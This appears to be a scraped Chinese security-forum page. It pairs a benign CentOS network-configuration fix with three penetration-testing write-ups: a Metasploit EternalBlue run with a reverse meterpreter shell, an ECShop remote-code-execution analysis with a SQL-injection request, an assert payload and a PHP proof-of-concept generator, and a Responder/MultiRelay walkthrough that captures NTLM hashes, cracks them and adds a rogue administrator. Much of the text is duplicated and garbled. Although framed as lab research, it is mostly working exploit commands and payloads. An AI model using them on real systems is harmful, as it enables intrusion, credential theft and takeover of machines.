-rwxr-xr-x. 1 root root 12444 Oct 10 2013 ifup-aliases
-rwxr-xr-x. 1 root root 859 Oct 10 2013 ifup-bnep
-rwxr-xr-x. 1 root root 10556 Oct 10 2013 ifup-eth
-rwxr-xr-x. 1 root root 11971 Oct 10 2013 ifup-ippp
-rwxr-xr-x. 1 root root 10490 Oct 10 2013 ifup-ipv6
lrwxrwxrwx. 1 root root 9 Mar 20 2017 ifup-isdn -> ifup-ippp
-rwxr-xr-x. 1 root root 727 Oct 10 2013 ifup-plip
-rwxr-xr-x. 1 root root 954 Oct 10 2013 ifup-plusb
-rwxr-xr-x. 1 root root 2364 Oct 10 2013 ifup-post
-rwxr-xr-x. 1 root root 4154 Oct 10 2013 ifup-ppp
-rwxr-xr-x. 1 root root 1925 Oct 10 2013 ifup-routes
-rwxr-xr-x. 1 root root 3289 Oct 10 2013 ifup-sit
-rwxr-xr-x. 1 root root 2488 Oct 10 2013 ifup-tunnel
-rwxr-xr-x. 1 root root 3770 Oct 10 2013 ifup-wireless
-rwxr-xr-x. 1 root root 4623 Oct 10 2013 init.ipv6-global
-rwxr-xr-x. 1 root root 1125 Oct 10 2013 net.hotplug
-rw-r--r--. 1 root root 13386 Oct 10 2013 network-functions
-rw-r--r--. 1 root root 29853 Oct 10 2013 network-functions-ipv6
 
网卡信息[root@localhost network-scripts]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:AD:6F:DC
inet addr:192.168.1.115 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fead:6fdc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:194313 errors:0 dropped:0 overruns:0 frame:0
TX packets:2643 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:112599638 (107.3 MiB) TX bytes:157256 (153.5 KiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:1077 errors:0 dropped:0 overruns:0 frame:0
TX packets:1077 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:105953 (103.4 KiB) TX bytes:105953 (103.4 KiB)




网卡有地址,并且工作正常,那原因出在什么地方呢?
 
二 问题分析
在Centos 6.X 版本中,有两个服务来负责网络的管理,network和NetworkManager 两个服务,其中这两个服务可以同时存在,但是如果你运行的级别是在id=3(命令多用户模式)使用的服务为network,如果是id=5(多用户图形化)使用的是networkmanager服务。
 
如果没有发现ifcfg-eth0 文件,很有可能是因为network这个服务没有开启,检测如下:[root@localhost network-scripts]# chkconfig --list | grep -i netw
NetworkManager 0:off 1:off 2:on 3:on 4:on 5:on 6:off
network 0:off 1:off 2:off 3:off 4:off 5:off 6:off
[root@localhost network-scripts]# 三、解决问题
如果出现了冲突,尽可能使用一个服务即可,不要同时使用,对其他的服务进行关闭,操作如下
chkconfig NetworkManager off
然后重启系统,复制lo的文件,修改名字为eth0,然后进行修改内容如下:DEVICE="eth0"
BOOTPROTO=“static” // 选择静态
HWADDR="00:0C:29:E8:08:2B"
IPV6INIT="yes"
NM_CONTROLLED="yes"
ONBOOT="yes"
IPADDR=192.168.2.89
NETMASK=255.255.255.0
GATEWAY=192.168.2.1
TYPE="Ethernet"
UUID="e264bc1a-e8ca-4637-951d-ece828187789 查看全部
一,问题-找不到网卡配置文件(ifcfg-eth0)
Centos 6.5 Linux 系统中,有的同学发现自己的网卡在/etc/sysconfig/network-scripts/下面没有发现有ifcfg-eth0,针对这个问题我们进行讨论一下:
 
在/etc/sysconfig/network-scripts/下没有发现有ifcfg-eth0 的文件,检测如下:
-rw-r--r--. 1 root root   254 Oct 10  2013 ifcfg-lo
lrwxrwxrwx. 1 root root 20 Mar 20 2017 ifdown -> ../../../sbin/ifdown
-rwxr-xr-x. 1 root root 627 Oct 10 2013 ifdown-bnep
-rwxr-xr-x. 1 root root 5430 Oct 10 2013 ifdown-eth
-rwxr-xr-x. 1 root root 781 Oct 10 2013 ifdown-ippp
-rwxr-xr-x. 1 root root 4168 Oct 10 2013 ifdown-ipv6
lrwxrwxrwx. 1 root root 11 Mar 20 2017 ifdown-isdn -> ifdown-ippp
-rwxr-xr-x. 1 root root 1481 Oct 10 2013 ifdown-post
-rwxr-xr-x. 1 root root 1064 Oct 10 2013 ifdown-ppp
-rwxr-xr-x. 1 root root 835 Oct 10 2013 ifdown-routes
-rwxr-xr-x. 1 root root 1465 Oct 10 2013 ifdown-sit
-rwxr-xr-x. 1 root root 1434 Oct 10 2013 ifdown-tunnel
lrwxrwxrwx. 1 root root 18 Mar 20 2017 ifup -> ../../../sbin/ifup
-rwxr-xr-x. 1 root root 12444 Oct 10 2013 ifup-aliases
-rwxr-xr-x. 1 root root 859 Oct 10 2013 ifup-bnep
-rwxr-xr-x. 1 root root 10556 Oct 10 2013 ifup-eth
-rwxr-xr-x. 1 root root 11971 Oct 10 2013 ifup-ippp
-rwxr-xr-x. 1 root root 10490 Oct 10 2013 ifup-ipv6
lrwxrwxrwx. 1 root root 9 Mar 20 2017 ifup-isdn -> ifup-ippp
-rwxr-xr-x. 1 root root 727 Oct 10 2013 ifup-plip
-rwxr-xr-x. 1 root root 954 Oct 10 2013 ifup-plusb
-rwxr-xr-x. 1 root root 2364 Oct 10 2013 ifup-post
-rwxr-xr-x. 1 root root 4154 Oct 10 2013 ifup-ppp
-rwxr-xr-x. 1 root root 1925 Oct 10 2013 ifup-routes
-rwxr-xr-x. 1 root root 3289 Oct 10 2013 ifup-sit
-rwxr-xr-x. 1 root root 2488 Oct 10 2013 ifup-tunnel
-rwxr-xr-x. 1 root root 3770 Oct 10 2013 ifup-wireless
-rwxr-xr-x. 1 root root 4623 Oct 10 2013 init.ipv6-global
-rwxr-xr-x. 1 root root 1125 Oct 10 2013 net.hotplug
-rw-r--r--. 1 root root 13386 Oct 10 2013 network-functions
-rw-r--r--. 1 root root 29853 Oct 10 2013 network-functions-ipv6

 
网卡信息
[root@localhost network-scripts]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:AD:6F:DC
inet addr:192.168.1.115 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fead:6fdc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:194313 errors:0 dropped:0 overruns:0 frame:0
TX packets:2643 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:112599638 (107.3 MiB) TX bytes:157256 (153.5 KiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:1077 errors:0 dropped:0 overruns:0 frame:0
TX packets:1077 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:105953 (103.4 KiB) TX bytes:105953 (103.4 KiB)




网卡有地址,并且工作正常,那原因出在什么地方呢?
 
二 问题分析
在Centos 6.X 版本中,有两个服务来负责网络的管理,network和NetworkManager 两个服务,其中这两个服务可以同时存在,但是如果你运行的级别是在id=3(命令多用户模式)使用的服务为network,如果是id=5(多用户图形化)使用的是networkmanager服务。
 
如果没有发现ifcfg-eth0 文件,很有可能是因为network这个服务没有开启,检测如下:
[root@localhost network-scripts]# chkconfig --list | grep -i netw
NetworkManager 0:off 1:off 2:on 3:on 4:on 5:on 6:off
network 0:off 1:off 2:off 3:off 4:off 5:off 6:off
[root@localhost network-scripts]#
三、解决问题
如果出现了冲突,尽可能使用一个服务即可,不要同时使用,对其他的服务进行关闭,操作如下
chkconfig NetworkManager off
然后重启系统,复制lo的文件,修改名字为eth0,然后进行修改内容如下:
DEVICE="eth0"
BOOTPROTO=“static” // 选择静态
HWADDR="00:0C:29:E8:08:2B"
IPV6INIT="yes"
NM_CONTROLLED="yes"
ONBOOT="yes"
IPADDR=192.168.2.89
NETMASK=255.255.255.0
GATEWAY=192.168.2.1
TYPE="Ethernet"
UUID="e264bc1a-e8ca-4637-951d-ece828187789

Metasploit 中 MS17-010 exp使用

渗透测试zksmile 发表了文章 • 0 个评论 • 136 次浏览 • 2018-09-16 22:16 • 来自相关话题

模块影响:此模块只能针对Windows 7 and Server 2008 R2 (x64) All Service Packs 进行攻击。
实验环境: 操作系统 IP
攻击靶机 kali 2.0 10.211.55.22
目标靶机 Microsoft Windows 7 专业版 10.211.55.6
 
漏洞利用:
先search ms17-010 找到对应模块的地址



use exploit/windows/smb/ms17_010_eternalblue



此模块设置的参数还是比较简单的:set payload windows/x64/meterpreter/reverse_tcp
set RHOST 10.211.55.6
set LHOST 10.211.55.22



exploit 即开始攻击,成功返回会话。




  查看全部
模块影响:
此模块只能针对Windows 7 and Server 2008 R2 (x64) All Service Packs 进行攻击。

实验环境:
         操作系统                           IP
攻击靶机 kali 2.0 10.211.55.22
目标靶机 Microsoft Windows 7 专业版 10.211.55.6

 
漏洞利用:
先search ms17-010 找到对应模块的地址
2.1_.png
use exploit/windows/smb/ms17_010_eternalblue
2.2_.png

此模块设置的参数还是比较简单的:
set payload windows/x64/meterpreter/reverse_tcp
set RHOST 10.211.55.6
set LHOST 10.211.55.22
2.3_.png

exploit 即开始攻击,成功返回会话。
2.5_.png

 

ECShop2.x/3.x代码执行

渗透测试zksmile 发表了文章 • 1 个评论 • 178 次浏览 • 2018-09-16 22:10 • 来自相关话题

0x01 漏洞详情
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。
其2017年及以前的版本中, user.php的display函数中,模版变量可控,导致注入,配合注入可达到远程代码执行
0x02 影响范围ECShop 2.x
ECShop 3.x0x03 漏洞分析
ringk3y老哥把这个漏洞分析的很清晰,整个利用以及绕过的过程非常精彩,感谢分享,也再次感谢p神提供的环境.
SQL注入:
在user.php中




$back_act变量来源于HTTP_REFERER, assign函数用于在模版变量里赋值。




继续跟踪 display函数




读取user_passport.dwt模版文件内容,显示解析变量后的html内容,用_echash做分割,得到$k然后交给isnert_mod处理,由于_echash是默认的,不是随机生成的,所以$val内容可随意控制。
 
接着看 insert_mod函数




=1pc这里进行了动态调用,=1pc$val传入进来用|分割,参数传入进来时需要被序列化。
 
=1pc再看include/lib_insert.php中的insert_ads函数
=1pc



 
这里直接就能注入了GET /user.php?act=login HTTP/1.1
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: IP
Pragma: no-cache
Cookie: PHPSESSID=7dd64ac53c93500b5dff70fdc0163f2e; ECS_ID=057fee67dd00d21af00d81537cb1d09e0946bdec; ECS[visit_times]=2
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
Connection: close



代码执行:




继续看fetch函数



追踪_eval函数




$position_style变量来源于数据库中的查询结构




 
然后我们继续构造SQL注入,因为这段sql操作 order by部分换行了截断不了 所以需要在id处构造注释来配合num进行union查询




payload:SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop27`.`ecs_ad` AS a LEFT JOIN `ecshop27`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,2,3,4,5,6,7,8,9,10-- -函数中有一个判断:




=1pc我们 id传入’/*
=1pcnum传入*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10– -就能绕过了



var_dump()一下








 
再看fetch函数,传入的参数被fetch_str函数处理了



追踪fetch_str函数,这里的字符串处理流程比较复杂



return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);这一行意思是比如$source是xxxx{$asd}xxx,那么经过这行代码处理后就是返回this->select(‘$asd’)的结果, 看看select函数:




第一个字符为$时进入$this->get_val函数



我们$val没有.$又进入make_var函数




最后这里引入单引号从变量中逃逸, 我们要闭合_var所以最终payload是:{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//}xxx在这里P神用php写了一个Poc:<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";这里2.x跟3.x的hash不一样,所以使用的时候需要更改一下:

把poc放到php环境里运行一下:




2.x执行结果如下 :




3.x 执行结果如下:



0x04 修复建议
 
最新的3.6.0最新版已经修复完毕,建议升级最新版本!
 
Reference:
 
https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md
http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
  查看全部
0x01 漏洞详情
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。
其2017年及以前的版本中, user.php的display函数中,模版变量可控,导致注入,配合注入可达到远程代码执行
0x02 影响范围
ECShop 2.x
ECShop 3.x
0x03 漏洞分析
ringk3y老哥把这个漏洞分析的很清晰,整个利用以及绕过的过程非常精彩,感谢分享,也再次感谢p神提供的环境.
SQL注入:
在user.php中
Image.png

$back_act变量来源于HTTP_REFERER, assign函数用于在模版变量里赋值。
2.png

继续跟踪 display函数
3.png

读取user_passport.dwt模版文件内容,显示解析变量后的html内容,用_echash做分割,得到$k然后交给isnert_mod处理,由于_echash是默认的,不是随机生成的,所以$val内容可随意控制。
 
接着看 insert_mod函数
Image4.png

=1pc这里进行了动态调用,=1pc$val传入进来用|分割,参数传入进来时需要被序列化。
 
=1pc再看include/lib_insert.php中的insert_ads函数
=1pc
Image5.png

 
这里直接就能注入了
GET /user.php?act=login HTTP/1.1
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: IP
Pragma: no-cache
Cookie: PHPSESSID=7dd64ac53c93500b5dff70fdc0163f2e; ECS_ID=057fee67dd00d21af00d81537cb1d09e0946bdec; ECS[visit_times]=2
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
Connection: close
Image6.png

代码执行:
Image7.png

继续看fetch函数
Image8.png

追踪_eval函数
Image9.png

$position_style变量来源于数据库中的查询结构
Image10.png

 
然后我们继续构造SQL注入,因为这段sql操作 order by部分换行了截断不了 所以需要在id处构造注释来配合num进行union查询
Image11.png

payload:
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop27`.`ecs_ad` AS a LEFT JOIN `ecshop27`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,2,3,4,5,6,7,8,9,10-- -
函数中有一个判断:
Image12.png

=1pc我们 id传入’/*
=1pcnum传入*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10– -就能绕过了
Image13.png

var_dump()一下
Image14.png

Image15.png

 
再看fetch函数,传入的参数被fetch_str函数处理了
Image16.png

追踪fetch_str函数,这里的字符串处理流程比较复杂
Image17.png
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
这一行意思是比如$source是xxxx{$asd}xxx,那么经过这行代码处理后就是返回this->select(‘$asd’)的结果, 看看select函数:
Image18.png

第一个字符为$时进入$this->get_val函数
Image19.png

我们$val没有.$又进入make_var函数
Image20.png

最后这里引入单引号从变量中逃逸, 我们要闭合_var所以最终payload是:
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//}xxx
在这里P神用php写了一个Poc:
<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
这里2.x跟3.x的hash不一样,所以使用的时候需要更改一下:

把poc放到php环境里运行一下:
Image21.png

2.x执行结果如下 :
Image22.png

3.x 执行结果如下:
23.png

0x04 修复建议
 
最新的3.6.0最新版已经修复完毕,建议升级最新版本!
 
Reference:
 
https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md
http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
 

内网渗透之Responder与Net-NTML hash

渗透测试reber 发表了文章 • 0 个评论 • 237 次浏览 • 2018-09-16 21:09 • 来自相关话题

原文链接:http://wyb0.com/posts/responder-and-ntml-hash/

0x00 一些概念
Windows认证协议  
    分为:基于NTML的认证和基于kerberos的认证

什么是NTLM Hash?  
早期IBM设计的LM Hash算法存在弱点,微软在保持向后兼容性的同时提出了自己的挑战响应机制,即NTLM Hash



什么是Challenge-Response挑战/响应验证机制?  




Client输入username、password、domain,然后将用户名及密码hash后存在本地,并将username发送到DC(通过domain获得)DC生成一个16字节的随机数,即Challenge(挑战码),然后传回ClientClient收到Challenge后将密码hash和challenge混合hash,混合后的hash称为response,然后将challenge、response和username发送给ServerServer将收到的3个值转发给DC,然后DC根据传过来的username到域控的账号数据库ntds.list找到对应的密码hash,将hash和Client传过来的challenge混合hash,将这个混合hash与Client传过来的response进行对比验证DC返回验证结果给ServerServer将提示客户端是否验证成功


NTLM Hash与Net-NTLM Hash
    NTLM Hash通常是指Windows系统下Security Account Manager中保存的用户密码hash,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash(比如用Mimikatz提取),“挑战/响应验证”中的用户名及密码hash就是NTLM Hash,Net-NTLM Hash通常是指网络环境下NTLM认证中的hash,“挑战/响应验证”中的response中包含Net-NTLM hash,用Responder抓取的就是Net-NTLM Hash

关于Responder  
    由Laurent Gaffie撰写的 Responder 是迄今为止,在每个渗透测试人员用于窃取不同形式的证书(包括Net-NTLM hash)的最受欢迎的工具。它通过设置几个模拟的恶意守护进程(如SQL服务器,FTP,HTTP和SMB服务器等)来直接提示凭据或模拟质询 – 响应验证过程并捕获客户端发送的必要 hash。Responder也有能力攻击LLMNR,NBT-NS和mDNS等协议。

什么是NTLM中继攻击?  
    攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

0x01 软件环境
可以从(https://github.com/lgandx/Responder)下载Responder
域内主机:Win7(10.11.11.20)
域控主机:Win2008(10.11.11.18)
被控主机:Ubuntu14.04(10.11.11.11)和目标机同一网段

0x02 通过SMB服务获取Net-NTLM hash   
对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以可以模拟SMB服务器从而截获hash,执行如下命令都可以得到hashnet.exe use \\host\share
attrib.exe \\host\share
bcdboot.exe \\host\share
bdeunlock.exe \\host\share
cacls.exe \\host\share
certreq.exe \\host\share #(noisy, pops an error dialog)
certutil.exe \\host\share
cipher.exe \\host\share
ClipUp.exe -l \\host\share
cmdl32.exe \\host\share
cmstp.exe /s \\host\share
colorcpl.exe \\host\share #(noisy, pops an error dialog)
comp.exe /N=0 \\host\share \\host\share
compact.exe \\host\share
control.exe \\host\share
convertvhd.exe -source \\host\share -destination \\host\share
Defrag.exe \\host\share
DeployUtil.exe /install \\host\share
DevToolsLauncher.exe GetFileListing \\host\share #(this one's cool. will return a file listing (json-formatted) from remote SMB share...)
diskperf.exe \\host\share
dispdiag.exe -out \\host\share
doskey.exe /MACROFILE=\\host\share
esentutl.exe /k \\host\share
expand.exe \\host\share
extrac32.exe \\host\share
FileHistory.exe \\host\share #(noisy, pops a gui)
findstr.exe \\host\share
fontview.exe \\host\share #(noisy, pops an error dialog)
fvenotify.exe \\host\share #(noisy, pops an access denied error)
FXSCOVER.exe \\host\share #(noisy, pops GUI)
hwrcomp.exe -check \\host\share
hwrreg.exe \\host\share
icacls.exe \\host\share
LaunchWinApp.exe \\host\share #(noisy, will pop an explorer window with the contents of your SMB share.)
licensingdiag.exe -cab \\host\share
lodctr.exe \\host\share
lpksetup.exe /p \\host\share /s
makecab.exe \\host\share
MdmDiagnosticsTool.exe -out \\host\share #(sends hash, and as a *bonus!writes an MDMDiagReport.html to the attacker share with full CSP configuration.)
mshta.exe \\host\share #(noisy, pops an HTA window)
msiexec.exe /update \\host\share /quiet
msinfo32.exe \\host\share #(noisy, pops a "cannot open" dialog)
mspaint.exe \\host\share #(noisy, invalid path to png error)
mspaint.exe \\host\share\share.png #(will capture hash, and display the remote PNG file to the user)
msra.exe /openfile \\host\share #(noisy, error)
mstsc.exe \\host\share #(noisy, error)
netcfg.exe -l \\host\share -c p -i foo
被控主机执行:$ sudo python Responder.py -I eth0 -v


0x03 通过文件包含获取Net-NTLM hash
被控主机执行:$ sudo python Responder.py -I eth0 -v


0x04 通过XSS获取Net-NTLM hash
被控主机执行:$ sudo python Responder.py -I eth0 -v


0x05 WPAD代理服务器抓取Net-NTLM hash
WPAD用于在windows中自动化的设置ie浏览器的代理,从Windows 2000开始该功能被默认开启。

开启Responder的WPAD后,当PC浏览网站时即可抓取到NTLM hash

加-F参数即可开启WPAD抓取 hash,而且当主机重启时也能抓到NTLM hash

被控主机执行:$ sudo python Responder.py -I eth0 -v -F




0x06 使用hashcat解密
安装hashcat(参考https://www.phillips321.co.uk/2016/07/09/hashcat-on-os-x-getting-it-going)$ git clone https://github.com/hashcat/hashcat.git
$ mkdir -p hashcat/deps
$ git clone https://github.com/KhronosGroup/OpenCL-Headers.git hashcat/deps/OpenCL
$ cd hashcat
$ make
$ ./example0.sh
$ ./hashcat
利用hashcat暴力猜解密码  
-m:hash-type,5600对应NetNTLMv2


得到密码为123456


0x07 通过NTLM中继攻击添加用户
这里就用到了NTLM中继攻击,相当于是中间人攻击,攻击者获取高权限的主机的hash,然后将hash转发给低权限主机并执行命令

这里就是抓取域控的hash,然后执行命令得到域内主机的信息

修改Responder.conf,不启动SMB和HTTP,然后启动Responderreber@ubuntu:~/Responder$ head -n 14 Responder.conf
[Responder Core]

; Servers to start
SQL = On
SMB = Off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = Off
DNS = On
LDAP = On

#这里用的是-F,只要有高权限用户通过浏览器访问网页就会中招,hash就会被抓取
reber@ubuntu:~/Responder$ sudo python Responder.py -I eth0 -v -F
利用Responder的MultiRelay模块获取shellreber@ubuntu:~/Responder/tools$ sudo python MultiRelay.py -t 10.11.11.20 -u ALL

Responder MultiRelay 2.0 NTLMv1/2 Relay

Send bugs/hugs/comments to: laurent.gaffie@gmail.com
Usernames to relay (-u) are case sensitive.
To kill this script hit CTRL-C.

/*
Use this script in combination with Responder.py for best results.
Make sure to set SMB and HTTP to OFF in Responder.conf.

This tool listen on TCP port 80, 3128 and 445.
For optimal pwnage, launch Responder only with these 2 options:
-rv
Avoid running a command that will likely prompt for information like net use, etc.
If you do so, use taskkill (as system) to kill the process.
*/

Relaying credentials for these users:
['ALL']


Retrieving information for 10.11.11.20...
SMB signing: False
Os version: 'Windows 7 Professional 7600'
Hostname: 'WIN-7'
Part of the 'REBER' domain
[+] Setting up HTTP relay with SMB challenge: f34fb4118e70e824
[+] Received NTLMv2 hash from: 10.11.11.18
[+] Client info: ['Windows Server 2008 R2 Enterprise 7600', domain: 'REBER', signing:'True']
[+] Username: Administrator is whitelisted, forwarding credentials.
[+] SMB Session Auth sent.
[+] Looks good, Administrator has admin rights on C$.
[+] Authenticated.
[+] Dropping into Responder's interactive shell, type "exit" to terminate

Available commands:
dump -> Extract the SAM database and print hashes.
regdump KEY -> Dump an HKLM registry key (eg: regdump SYSTEM)
read Path_To_File -> Read a file (eg: read /windows/win.ini)
get Path_To_File -> Download a file (eg: get users/administrator/desktop/password.txt)
delete Path_To_File-> Delete a file (eg: delete /windows/temp/executable.exe)
upload Path_To_File-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \windows\temp\
runas Command -> Run a command as the currently logged in user. (eg: runas whoami)
scan /24 -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to
pivot IP address -> Connect to another host (eg: pivot 10.0.0.12)
mimi command -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)
mimi32 command -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)
lcmd command -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)
help -> Print this message.
exit -> Exit this shell and return in relay mode.
If you want to quit type exit and then use CTRL-C

Any other command than that will be run as SYSTEM on the target.

Connected to 10.11.11.20 as LocalSystem.
C:\Windows\system32\:#net user test 123456 /add && net localgroup administrators test /add
▒▒▒▒ɹ▒▒▒ɡ▒


C:\Windows\system32\:#net user

\\ ▒▒▒û▒▒ʻ▒

-------------------------------------------------------------------------------
Administrator Guest reber
test
▒▒▒▒▒▒▒▒▒▒ϣ▒▒▒▒▒▒▒һ▒▒▒▒▒▒▒▒


C:\Windows\system32\:#exit
[+] Returning in relay mode.
Exiting...
reber@ubuntu:~/Responder/tools$
Reference(侵删):
https://apt404.github.io/2016/08/11/ntlm-kerberos http://www.4hou.com/system/9383.html https://3gstudent.github.io/Windows下的密码hash-NTLM-hash和Net-NTLM-hash介绍 https://gist.github.com/anonymous/70f792d50078f0ee795d39d0aa0da46e https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes https://medium.com/@canavaroxum/xxe-on-windows-system-then-what-76d571d66745 https://www.anquanke.com/post/id/85004 https://www.phillips321.co.uk/2016/07/09/hashcat-on-os-x-getting-it-going  查看全部
原文链接:http://wyb0.com/posts/responder-and-ntml-hash/

0x00 一些概念
Windows认证协议  
    分为:基于NTML的认证和基于kerberos的认证

什么是NTLM Hash?  
早期IBM设计的LM Hash算法存在弱点,微软在保持向后兼容性的同时提出了自己的挑战响应机制,即NTLM Hash



什么是Challenge-Response挑战/响应验证机制?  
WX20180918-104021@2x.png

  1. Client输入username、password、domain,然后将用户名及密码hash后存在本地,并将username发送到DC(通过domain获得)
  2. DC生成一个16字节的随机数,即Challenge(挑战码),然后传回Client
  3. Client收到Challenge后将密码hash和challenge混合hash,混合后的hash称为response,然后将challenge、response和username发送给Server
  4. Server将收到的3个值转发给DC,然后DC根据传过来的username到域控的账号数据库ntds.list找到对应的密码hash,将hash和Client传过来的challenge混合hash,将这个混合hash与Client传过来的response进行对比验证
  5. DC返回验证结果给Server
  6. Server将提示客户端是否验证成功



NTLM Hash与Net-NTLM Hash
    NTLM Hash通常是指Windows系统下Security Account Manager中保存的用户密码hash,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash(比如用Mimikatz提取),“挑战/响应验证”中的用户名及密码hash就是NTLM Hash,Net-NTLM Hash通常是指网络环境下NTLM认证中的hash,“挑战/响应验证”中的response中包含Net-NTLM hash,用Responder抓取的就是Net-NTLM Hash

关于Responder  
    由Laurent Gaffie撰写的 Responder 是迄今为止,在每个渗透测试人员用于窃取不同形式的证书(包括Net-NTLM hash)的最受欢迎的工具。它通过设置几个模拟的恶意守护进程(如SQL服务器,FTP,HTTP和SMB服务器等)来直接提示凭据或模拟质询 – 响应验证过程并捕获客户端发送的必要 hash。Responder也有能力攻击LLMNR,NBT-NS和mDNS等协议。

什么是NTLM中继攻击?  
    攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

0x01 软件环境
可以从(https://github.com/lgandx/Responder)下载Responder
域内主机:Win7(10.11.11.20)
域控主机:Win2008(10.11.11.18)
被控主机:Ubuntu14.04(10.11.11.11)和目标机同一网段

0x02 通过SMB服务获取Net-NTLM hash   
对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以可以模拟SMB服务器从而截获hash,执行如下命令都可以得到hash
net.exe use \\host\share
attrib.exe \\host\share
bcdboot.exe \\host\share
bdeunlock.exe \\host\share
cacls.exe \\host\share
certreq.exe \\host\share #(noisy, pops an error dialog)
certutil.exe \\host\share
cipher.exe \\host\share
ClipUp.exe -l \\host\share
cmdl32.exe \\host\share
cmstp.exe /s \\host\share
colorcpl.exe \\host\share #(noisy, pops an error dialog)
comp.exe /N=0 \\host\share \\host\share
compact.exe \\host\share
